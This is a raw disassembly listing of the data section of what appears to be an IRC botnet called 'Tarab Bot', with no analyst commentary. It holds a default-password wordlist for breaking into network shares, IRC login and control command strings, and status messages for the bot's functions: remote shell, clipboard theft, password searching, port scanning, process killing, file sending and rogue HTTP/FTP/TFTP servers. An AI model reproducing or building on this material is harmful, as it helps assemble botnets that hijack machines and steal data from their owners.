aLadeda		db 'ladeda',0           ; DATA XREF: .data:0042EB50o
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: .data:0042EB4Co
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .data:0042EB48o
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: .data:0042EB44o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .data:0042EB40o
		align 10h
aPassword	db 'PASSWORD',0         ; DATA XREF: .data:0042EB3Co
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .data:0042EB38o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .data:0042EB30o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .data:0042EB2Co
		align 4
aBla		db 'bla',0              ; DATA XREF: .data:0042EB28o
aFubar		db 'fubar',0            ; DATA XREF: .data:0042EB24o
		align 10h
aAdministrato_2	db 'ADMINISTRATOR',0    ; DATA XREF: .data:0042EB18o
		align 10h
aDb2		db 'db2',0              ; DATA XREF: .data:0042EB04o
aOracle		db 'oracle',0           ; DATA XREF: .data:0042EB00o
					; .data:0042EBF0o
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:0042EAFCo
aDatabase	db 'database',0         ; DATA XREF: .data:0042EAF8o
					; .data:0042EBE4o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0042EAF4o
					; .data:0042F284o
aGuest_0	db 'guest',0            ; DATA XREF: .data:0042EAF0o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0042EAECo
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .data:0042EAE8o
					; .data:00430218o
aStudent	db 'student',0          ; DATA XREF: .data:0042EAE4o
					; .data:00430160o
aOwner		db 'owner',0            ; DATA XREF: .data:0042EAE0o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: .data:0042EADCo
					; .data:0042EBFCo
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:0042EAD8o
					; .data:0042EB34o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0042EAD4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:0042EAD0o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:0042EACCo
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0042EAC8o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0042EAC4o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0042EAC0o
		align 4
aAdministrato_1	db 'administrator',0    ; DATA XREF: .data:0042EABCo
					; .data:0042EB20o
		align 4
aTarabTool_0	db 'Tarab tool',0       ; DATA XREF: .data:off_42EA08o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: .data:off_42EA04o
dword_434460	dd 72023602h, 28201F62h, 2E637269h, 1F6C1F70h, 2202967h
					; DATA XREF: sub_40E48A+340o
		dd 2002BBBBh, 746F4220h, 61747320h, 64657472h, 2Eh
dword_434488	dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40E48A+26Eo
unk_434494	db    2			; DATA XREF: sub_40E961+F2o
		db 36h,	2, 72h
		db  62h	; b
		db 20h,	28h, 69h
		db  72h	; r
		db 63h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aConnectedToS_	db 'Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40EAC7+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40EAC7+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+623Ao
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+6225o
		align 4
dword_434508	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+6211o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_434538	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+61F4o
		dd 2BBBB02h
aTarabBotAccept	db '  Tarab Bot accepted.',0
		align 4
dword_434568	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+619Fo
		dd 2BBBB02h
aTarabBotFail_8	db '  *Tarab Bot Failed host auth by: (%s!%s).',0
		align 10h
dword_4345B0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+6132o
		dd 2BBBB02h
aTarabBotFail_9	db '  *Tarab Bot Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EC43+6123o
					; sub_40EC43+6190o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EC43+610Fo
					; sub_40EC43+617Co
		align 10h
asc_434640:				; DATA XREF: sub_40EC43+60DFo
		unicode	0, <~>,0
dword_434644	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+608Eo
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_434678	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5FE0o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_4346B4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5FD5o
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_4346F0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5FC2o
					; sub_40EC43+6022o
		dd 2BBBB02h
aUserSLoggedOut	db '  User %s logged out.',0
		align 10h
dword_434720	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5F84o
		dd 2BBBB02h, 73252020h,	0
unk_434740	db    2			; DATA XREF: sub_40EC43+5F60o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_2	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_43478C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EC43+5EFCo
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EC43+5EF6o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EC43+5EEFo
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40EC43+5E94o
aSecure		db 'secure',0           ; DATA XREF: sub_40EC43+5E83o
		align 4
unk_4347D8	db    2			; DATA XREF: sub_40EC43+5E63o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_3	db 'Failed to start server thread, error: <%d>.',0
dword_434820	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EC43+5D40o
dword_434830	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EC43+5D3Bo
dword_43483C	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EC43+5D2Bo
dword_434848	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EC43+5D26o
dword_434858	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5CF0o
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EC43:loc_414926o
		align 4
dword_434898	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5CCEo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EC43:loc_414904o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+5C98o
		align 4
dword_4348E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5C4Co
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_434924	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5C0Eo
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh, 0
dword_434950	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EC43+5BE4o
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_434998	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EC43+5B8Bo
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_4349C4	dd 627573h		; DATA XREF: sub_40EC43+5B65o
dword_4349C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5B13o
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_4349F0	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5AE3o
		dd 2BBBB02h
aFailedToStar_4	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_434A38	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5A6Co
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_434A60	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+59E5o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_434A88	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+59B6o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_434AB0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5961o
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_434AD8	db    2			; DATA XREF: sub_40EC43+5930o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_434B28	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EC43+58D1o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EC43+58B1o
		align 10h
unk_434B60	db    2			; DATA XREF: sub_40EC43+584Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_434B94	db    2			; DATA XREF: sub_40EC43+5823o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_434BC4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+57D4o
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_434BEC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_41437Ao
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_434C1C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5730o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_434C54	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+5714o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_434C8C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+56FEo
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EC43+56D0o
		align 4
unk_434CCC	db    2			; DATA XREF: sub_40EC43:loc_414303o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_434D08	db    2			; DATA XREF: sub_40EC43+56ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_434D3C	db    2			; DATA XREF: sub_40EC43:loc_4142D2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_434D78	db    2			; DATA XREF: sub_40EC43:loc_4142CBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_434DB4	db    2			; DATA XREF: sub_40EC43+5681o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
dword_434DE8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EC43+55EEo
		dd 2029671Fh, 2BBBB02h
aFailedToStar_6	db '  Failed to start server thread, error: <%d>.',0
		align 8
dword_434E38	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EC43+5595o
		dd 2029671Fh, 2BBBB02h
aServerListenin	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 8
unk_434E88	db    2			; DATA XREF: sub_40EC43+54B7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
unk_434ED0	db    2			; DATA XREF: sub_40EC43+545Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListen_0	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 10h
unk_434F20	db    2			; DATA XREF: sub_40EC43+5342o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_8	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_434F68	db    2			; DATA XREF: sub_40EC43+52E9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_434FB8	db    2			; DATA XREF: sub_40EC43+5235o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
		align 8
unk_434FE8	db    2			; DATA XREF: sub_40EC43+520Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_9	db '   Failed to start search thread, error: <%d>.',0
unk_435034	db    2			; DATA XREF: sub_40EC43+519Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
		align 10h
unk_435070	db    2			; DATA XREF: sub_40EC43:loc_413DBCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_10	db '  Failed to start scan, port is invalid.',0
		align 8
unk_4350B8	db    2			; DATA XREF: sub_40EC43+50BAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
dword_435130	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4E72o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435164	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4E59o
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435194	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4E3Co
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_4351C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4E26o
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_4351EC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_4139F5o
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_435228	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EC43+4DABo
		dd 2029671Fh, 2BBBB02h,	694B2020h
		db 6Ch
aLedThreadS_	db 'led thread: %s.',0  ; DATA XREF: .data:off_4264F4o
		align 4
dword_43525C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EC43:loc_4139B1o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_435294	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EC43+4D64o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40EC43+4D4Ao
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+4CC3o
					; sub_40EC43:loc_4148EDo
		align 10h
dword_4352E0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4C4Bo
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 8
dword_435318	dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h
					; DATA XREF: sub_40EC43:loc_413879o
		dd 6C656873h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h
a15CouldnTOpenF	db '15  Couldn',27h,'t open file: %s',0
		align 4
dword_43535C	dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h
					; DATA XREF: sub_40EC43+4C2Co
		dd 6C656873h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h
a15FileOpenedS	db '15  File opened: %s',0
dword_435398	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4C03o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4353CC	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43:loc_41382Ao
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_435404	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4BBCo
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_435430	db    2			; DATA XREF: sub_40EC43:loc_4137CBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_435470	db    2			; DATA XREF: sub_40EC43+4B7Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 8
unk_4354A8	db    2			; DATA XREF: sub_40EC43:loc_413771o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_4354EC	db    2			; DATA XREF: sub_40EC43+4B27o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_435524	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EC43+4AE0o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_435550	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4AB5o
		dd 2BBBB02h
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
dword_435598	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EC43+4A5Co
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_4355CC	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EC43+49EAo
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_4355F0	db    2			; DATA XREF: sub_40EC43+49ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start connection thread, error: <%d>.',0
dword_43563C	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EC43+4952o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_435664	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EC43:loc_4134F0o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_435690	db    2			; DATA XREF: sub_40EC43+48A6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
